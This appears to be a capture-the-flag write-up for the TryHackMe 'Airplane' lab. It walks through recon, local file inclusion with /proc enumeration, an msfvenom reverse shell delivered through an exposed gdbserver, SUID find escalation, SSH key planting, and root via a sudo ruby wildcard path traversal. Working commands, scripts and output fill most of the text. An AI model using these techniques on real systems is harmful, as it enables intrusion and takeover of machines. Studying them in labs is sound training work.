The following post by 0xb0b is licensed under CC BY 4.0
Recon
We start with a Nmap scan and find only three open ports. 22, 6048 and 8000.
```
╭─xb0b@parrot ~/Documents/tryhackme/airplane
╰─➤ $ nmap -sT -p- airplane.thm -T4
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-06-07 20:01 CEST
Nmap scan report for airplane.thm (10.10.196.89)
Host is up (0.064s latency).
Not shown: 65532 closed tcp ports (conn-refused)
PORT STATE SERVICE
22/tcp open ssh
6048/tcp open x11
8000/tcp open http-alt
Unfortunately, a service and default script scan does not tell us what is behind 6048. At 22, it is OpenSSH 8.2p1, and at port 8000, we are dealing with a Python Werkzeug web server.
╭─xb0b@parrot ~/Documents/tryhackme/airplane
╰─➤ $ nmap -sT -sV -sC -p22,6048,8000 airplane.thm -T4
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-06-07 20:04 CEST
Nmap scan report for airplane.thm (10.10.196.89)
Host is up (0.12s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.11 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 b8:64:f7:a9:df:29:3a:b5:8a:58:ff:84:7c:1f:1a:b7 (RSA)
| 256 ad:61:3e:c7:10:32:aa:f1:f2:28:e2:de:cf:84:de:f0 (ECDSA)
|_ 256 a9:d8:49:aa:ee:de:c4:48:32:e4:f1:9e:2a:8a:67:f0 (ED25519)
6048/tcp open x11?
8000/tcp open http-alt Werkzeug/3.0.2 Python/3.8.10
|_http-server-header: Werkzeug/3.0.2 Python/3.8.10
| fingerprint-strings:
| FourOhFourRequest:
| HTTP/1.1 404 NOT FOUND
| Server: Werkzeug/3.0.2 Python/3.8.10
| Date: Fri, 07 Jun 2024 18:04:20 GMT
| Content-Type: text/html; charset=utf-8
| Content-Length: 207
| Connection: close
| <!doctype html>
| <html lang=en>
| <title>404 Not Found</title>
| <h1>Not Found</h1>
| <p>The requested URL was not found on the server. If you entered the URL manually please check your spelling and try again.</p>
| GetRequest:
| HTTP/1.1 302 FOUND
| Server: Werkzeug/3.0.2 Python/3.8.10
| Date: Fri, 07 Jun 2024 18:04:15 GMT
| Content-Type: text/html; charset=utf-8
| Content-Length: 269
| Location: http://airplane.thm:8000/?page=index.html
| Connection: close
| <!doctype html>
| <html lang=en>
| <title>Redirecting...</title>
| <h1>Redirecting...</h1>
| <p>You should be redirected automatically to the target URL: <a href="http://airplane.thm:8000/?page=index.html">http://airplane.thm:8000/?page=index.html</a>. If not, click the link.
| Socks5:
| <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN"
| "http://www.w3.org/TR/html4/strict.dtd">
| <html>
| <head>
| <meta http-equiv="Content-Type" content="text/html;charset=utf-8">
| <title>Error response</title>
| </head>
| <body>
| <h1>Error response</h1>
| <p>Error code: 400</p>
| <p>Message: Bad request syntax ('
| ').</p>
| <p>Error code explanation: HTTPStatus.BAD_REQUEST - Bad request syntax or unsupported method.</p>
| </body>
|_ </html>
| http-title: About Airplanes
|_Requested resource was http://airplane.thm:8000/?page=index.html
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 174.86 seconds
The first visit to the index page of Endpoint 8000 shows us that only static pages are loaded. This is done via the page parameter http://airplane.thm:8000/?page=index.html. Here we could find an entry via Local File Inclusion.
We start another Gobuster scan and try to find more directories, but only find the route/airplane.
╭─xb0b@parrot ~/Documents/tryhackme/airplane
╰─➤ $ gobuster dir -u http://airplane.thm:8000/ -w /usr/share/wordlists/dirb/big.txt
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://airplane.thm:8000/
[+] Method: GET
[+] Threads: 10
[+] Wordlist: /usr/share/wordlists/dirb/big.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.6
[+] Timeout: 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/airplane (Status: 200) [Size: 655]
We confirm our assumption about LFI. We can include the file /etc/passwd, which is downloaded directly. When accessing files to which we are not authorized, we receive an internal server error. Because the files are downloaded directly, we probably do not have the possibility of log file poisoning this time.
Unfortunately, there isn't anything more. The app itself just provides the index and airplane page, and it's vulnerable to LFI.
╭─xb0b@parrot ~/Documents/tryhackme/airplane
╰─➤ $ cat app.py
from flask import Flask, send_file, redirect, render_template, request
import os.path
app = Flask(__name__)
@app.route('/')
def index():
if 'page' in request.args:
page = 'static/' + request.args.get('page')
if os.path.isfile(page):
resp = send_file(page)
resp.direct_passthrough = False
if os.path.getsize(page) == 0:
resp.headers["Content-Length"]=str(len(resp.get_data()))
return resp
else:
return "Page not found"
else:
return redirect('http://airplane.thm:8000/?page=index.html', code=302)
@app.route('/airplane')
def airplane():
return render_template('airplane.html')
if __name__ == '__main__':
app.run(host='0.0.0.0', port=8000)%
Next, we probe /proc/[pid]/cmdline, to investigate what might be running on port 6048. /proc/[pid]/cmdline is a file in the Linux proc file system that contains the command-line arguments used to start the process with the specified process ID (PID). This can either be achieved by FuFF or a custom script fetching each possible ID. If the port is used as a parameter, we might be able to identify what is running on 6048.
The following show cases a script to fetch the first 1000 pids.
enum-cmdline.py
import requests
for i in range(1, 1001):
print(f"\r{i}", end="", flush=True)
url = f"http://airplane.thm:8000/?page=../../../../../proc/{i}/cmdline"
response = requests.get(url)
if response.status_code == 200:
content = response.text
if 'Page not found' not in content and content:
print(f"\r/proc/{i}/cmdline: {content}")
╭─xb0b@parrot ~/Documents/tryhackme/airplane
╰─➤ $ cat enum-cmdline.py
import requests
for i in range(1, 1001):
print(f"\r{i}", end="", flush=True)
url = f"http://airplane.thm:8000/?page=../../../../../proc/{i}/cmdline"
response = requests.get(url)
if response.status_code == 200:
content = response.text
if 'Page not found' not in content and content:
print(f"\r/proc/{i}/cmdline: {content}")
╭─xb0b@parrot ~/Documents/tryhackme/airplane
╰─➤ $ python enum-cmdline.py
/proc/1/cmdline: /sbin/initsplash
...
/proc/532/cmdline: /usr/sbin/NetworkManager--no-daemon
/proc/536/cmdline: /usr/bin/gdbserver 0.0.0.0:6048airplane
/proc/539/cmdline: /usr/bin/python3app.py
Shell as hudson
With the information we have gathered so far we should be able to get inital foothold. Since we know a gdbserver is running in the background, we can research how to use it to our advantage, for example to obtain a reverse shell. HackTricks has a great resource on that topic and provide step by step commands to upload and execute a reverse shell using a gdb server:
The following is an example provided by HackTricks.
# Trick shared by @B1n4rySh4d0w
msfvenom -p linux/x64/shell_reverse_tcp LHOST=10.10.10.10 LPORT=4444 PrependFork=true -f elf -o binary.elf
chmod +x binary.elf
gdb binary.elf
# Set remote debuger target
target extended-remote 10.10.10.11:1337
# Upload elf file
remote put binary.elf binary.elf
# Set remote executable file
set remote exec-file /home/user/binary.elf
# Execute reverse shell executable
run
# You should get your reverse-shell
We create the reverse shell binary using msfvenom.
We run gbd on our local binary and start a remote debugging connection via target extended-remote 10.10.242.124:6048. Then we copy our binary to /home/hudson/binary.elf via remote put binary.elf /home/hudson/binary.elf and execute it set remote exec-file /home/hudson/binary.elfrun.
╭─xb0b@parrot ~/Documents/tryhackme/airplane
╰─➤ $ gdb binary.elf 130 ↵
GNU gdb (Debian 13.1-3) 13.1
Copyright (C) 2023 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.
Type "show copying" and "show warranty" for details.
This GDB was configured as "x86_64-linux-gnu".
Type "show configuration" for configuration details.
For bug reporting instructions, please see:
<https://www.gnu.org/software/gdb/bugs/>.
Find the GDB manual and other documentation resources online at:
<http://www.gnu.org/software/gdb/documentation/>.
For help, type "help".
Type "apropos word" to search for commands related to "word"...
GEF for linux ready, type `gef' to start, `gef config' to configure
88 commands loaded and 5 functions added for GDB 13.1 in 0.00ms using Python engine 3.11
Reading symbols from binary.elf...
(No debugging symbols found in binary.elf)
gef➤ target extended-remote 10.10.242.124:6048
Remote debugging using 10.10.242.124:6048
gef➤ remote put binary.elf /home/hudson/binary.elf
Successfully sent file "binary.elf".
gef➤ set remote exec-file /home/hudson/binary.elf
gef➤ run
Starting program: /home/xb0b/Documents/tryhackme/airplane/binary.elf
Reading /usr/lib/debug/.build-id/e9/8c2a320466a026c0a0236da38a5156f9b8cb54.debug from remote target...
warning: File transfers from remote targets can be slow. Use "set sysroot" to access files locally instead.
[Detaching after fork from child process 117423]
[Inferior 1 (process 117422) exited normally]
We get a connection back and are the user hudson. Next, we upgrade our reverse shell. We cannot find the first user flag here, so we have to move on to the other user.
╭─xb0b@parrot ~/Documents/tryhackme/airplane
╰─➤ $ nc -lnvp 4444
listening on [any] 4444 ...
connect to [10.8.211.1] from (UNKNOWN) [10.10.242.124] 33786
id
uid=1001(hudson) gid=1001(hudson) groups=1001(hudson)
ls
airplane
python3 -c 'import pty; pty.spawn("/bin/bash")'
hudson@airplane:/opt$ ^Z
[1] + 11024 suspended nc -lnvp 4444
╭─xb0b@parrot ~/Documents/tryhackme/airplane
╰─➤ $ stty raw -echo && fg 148 ↵
[1] + 11024 continued nc -lnvp 4444
hudson@airplane:/opt$ cd /home
hudson@airplane:/home$ ls
carlos hudson
hudson@airplane:/home$ cd hudson/
hudson@airplane:/home/hudson$ ls
Desktop Downloads Pictures Templates app
Documents Music Public Videos binary.elf
Shell as carlos
After running LinPEAS we find the SUID binary find, owned by carlos.
╔════════════════════════════════════╗
══════════════════════╣ Files with Interesting Permissions ╠══════════════════════
╚════════════════════════════════════╝
╔══════════╣ SUID - Check easy privesc, exploits and write perms
╚ https://book.hacktricks.xyz/linux-hardening/privilege-escalation#sudo-and-suid
-rwsr-xr-x 1 carlos carlos 313K Feb 18 2020 /usr/bin/find
Using the provided payload from GTFOBins...
... we are able to escalate to carlos and find the first flag in the home directory of the user.
find . -exec /bin/sh -p \; -quit
Shell as root
We can now add a public RSA key to the /home/carlos/.ssh/authorized_keys file to establish a more stable shell using ssh. We create a new key pair using ssh-keygen.
╭─xb0b@parrot ~/Documents/tryhackme/airplane
╰─➤ $ ssh-keygen -t rsa 1 ↵
Generating public/private rsa key pair.
Enter file in which to save the key (/home/xb0b/.ssh/id_rsa): ./carlos
Enter passphrase (empty for no passphrase):
Enter same passphrase again:
Your identification has been saved in ./carlos
Your public key has been saved in ./carlos.pub
The key fingerprint is:
SHA256:1CGe1RK0n/owfIoUr1Mf1HHm0wjA8oUOed1ScBb12TY xb0b@parrot
The key's randomart image is:
+---[RSA 3072]----+
| .+**.+=o.|
| .+==o*oo *|
| +*oo + E=|
| . o...oo+|
| S .o .|
| +... |
| ..*... |
| ..o *. |
| o.. . |
+----[SHA256]-----+
Next, we place the public key into the authorized_keys of carlos.
After applying the correct permission, we are able to use our private key to log in as carlos to the machine. Next, we see we are able to run /usr/bin/ruby /root/*.rb using sudo without the need to provide a password. Here, we have the possibility to spawn a root shell by executing an .rb file that does exactly that. Since we have a wildcard in the path, we can place our script outside of root and still execute it.
╭─xb0b@parrot ~/Documents/tryhackme/airplane
╰─➤ $ chmod 600 carlos
╭─xb0b@parrot ~/Documents/tryhackme/airplane
╰─➤ $ ssh -i carlos carlos@airplane.thm
carlos@airplane:~$ sudo -l
Matching Defaults entries for carlos on airplane:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User carlos may run the following commands on airplane:
(ALL) NOPASSWD: /usr/bin/ruby /root/*.rb
We craft a script to spawn a bash. We place it in/home/carlos/evil.rb and call it via sudo /usr/bin/ruby /root/../home/carlos/evil.rb. We are root and find the last flag in /root/root.txt.